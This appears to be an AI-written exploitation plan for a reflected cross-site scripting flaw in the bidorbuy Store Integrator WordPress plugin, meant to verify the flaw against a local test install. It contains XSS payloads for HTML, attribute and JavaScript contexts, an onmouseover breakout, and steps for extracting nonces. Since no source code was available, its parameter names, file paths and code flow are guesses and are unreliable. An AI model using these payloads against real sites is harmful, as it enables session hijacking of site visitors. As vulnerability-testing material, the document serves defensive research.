bidorbuy Store Integrator <= 2.12.0 - Reflected Cross-Site Scripting

As source files for version 2.12.0 are not provided, this plan is based on the vulnerability description and common reflected XSS patterns in WordPress plugins of this type. The plugin "bidorbuy Store Integrator" typically handles product displays and searches from the bidorbuy marketplace.

1. Vulnerability Summary

The bidorbuy Store Integrator plugin is vulnerable to Reflected Cross-Site Scripting (XSS) due to the unsafe reflection of a user-supplied HTTP parameter into the HTML output. The vulnerability exists because the plugin fails to sanitize the input using functions like sanitize_text_field() and fails to escape the output using esc_html() or esc_attr().

2. Attack Vector Analysis

• Endpoint: Likely a frontend page containing the plugin's shortcode or a specific plugin-generated search results page. Alternatively, it could be an admin settings page (exploited via CSRF/Social Engineering).
• Vulnerable Parameter: Likely bb_search, search, page_number, or a custom URL parameter used for filtering marketplace items. (Inferred)
• Authentication: None required (unauthenticated).
• Preconditions: The victim must click a specially crafted link while an active session (if targeting admin) exists, or the reflection must occur on a public-facing page.

3. Code Flow (Inferred)

1. A user sends a GET request to a URL containing a malicious parameter (e.g., ?bb_search=<script>alert(1)</script>).
2. The plugin's frontend controller (likely in public/class-bidorbuystoreintegrator-public.php or similar) retrieves the parameter using $_GET['bb_search'].
3. The value is passed into a display function or template without being passed through sanitize_text_field().
4. The template echoes the raw value back into the HTML (e.g., echo 'Results for: ' . $search_term;), allowing the <script> tag to execute in the victim's browser.

4. Nonce Acquisition Strategy

Reflected XSS typically does not require a nonce to trigger the reflection. However, if the reflection is contained within a script that requires a nonce for subsequent actions (like a search AJAX call), the following strategy applies:

1. Identify Shortcode: Search the plugin code for add_shortcode.
   • Command: grep -rn "add_shortcode" /var/www/html/wp-content/plugins/bidorbuystoreintegrator/
2. Create Test Page:
   • wp post create --post_type=page --post_status=publish --post_title="BidorBuy Test" --post_content='[SHORTCODE_NAME_FOUND]'
3. Extract Nonce:
   • Navigate to the new page using browser_navigate.
   • Use browser_eval to look for localized scripts.
   • Common variable names: bob_ajax_obj, bidorbuy_settings.
   • Example: browser_eval("window.bob_ajax_obj?.nonce")

5. Exploitation Strategy

The goal is to demonstrate that an arbitrary script can be executed in the context of the user's browser.

Step 1: Discovery of the Sink
Search for unescaped reflections of $_GET or $_REQUEST:

grep -rP "echo.*\$_GET\[" /var/www/html/wp-content/plugins/bidorbuystoreintegrator/ | grep -v "esc_"

Step 2: Formulate Payload
Assuming the parameter is bb_search, test three common contexts:

1. HTML Context: ?bb_search=<script>alert(1)</script>
2. Attribute Context: ?bb_search="><script>alert(1)</script>
3. JavaScript Context: ?bb_search=';alert(1);//

Step 3: Execute via http_request
Construct a request to the WordPress frontend:

// Example using the http_request tool
const response = await http_request({
  url: 'http://localhost:8080/?bb_search=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E',
  method: 'GET'
});

6. Test Data Setup

1. Install/Activate Plugin: Ensure bidorbuystoreintegrator is active.
2. Configure Plugin: Some integrators require a "Store ID" or "API Key" to be set before frontend pages render correctly. Use WP-CLI to set a dummy value if needed:
   • wp option update bidorbuy_store_id "12345" (Check code for actual option name).
3. Create Landing Page: Create a page with the plugin's main shortcode to ensure the vulnerable code path is loaded.

7. Expected Results

• The HTTP response body should contain the literal string <script>alert(document.domain)</script> without HTML encoding (i.e., not <script>).
• In a real browser, an alert box showing the domain name would appear.

8. Verification Steps

1. Response Inspection:
   • Check if the payload is reflected verbatim in the response body.
2. Code Audit (Post-Exploit):
   • Locate the file and line number where the reflection occurs.
   • Verify the absence of esc_html, esc_attr, or wp_kses.
   • Example: sed -n 'XX,YYp' path/to/file.php (where XX and YY are the line numbers).

9. Alternative Approaches

If the GET parameter is not directly reflected in HTML:

• Check for DOM XSS: The parameter might be reflected inside a wp_localize_script block.
  • Search: grep -rn "wp_localize_script" .
  • If the input is reflected into a JS variable, use a breakout payload like ";alert(1);//.
• Check Admin Notices: Sometimes unauthenticated actions (like a failed integration) trigger an "Admin Notice" that reflects parameters when the admin next logs in.
  • Search: grep -rn "admin_notices" .
• Check Search Forms: The payload might be reflected inside the value attribute of a search input field.
  • Payload: " onmouseover="alert(1)" type="text (if quotes are not escaped).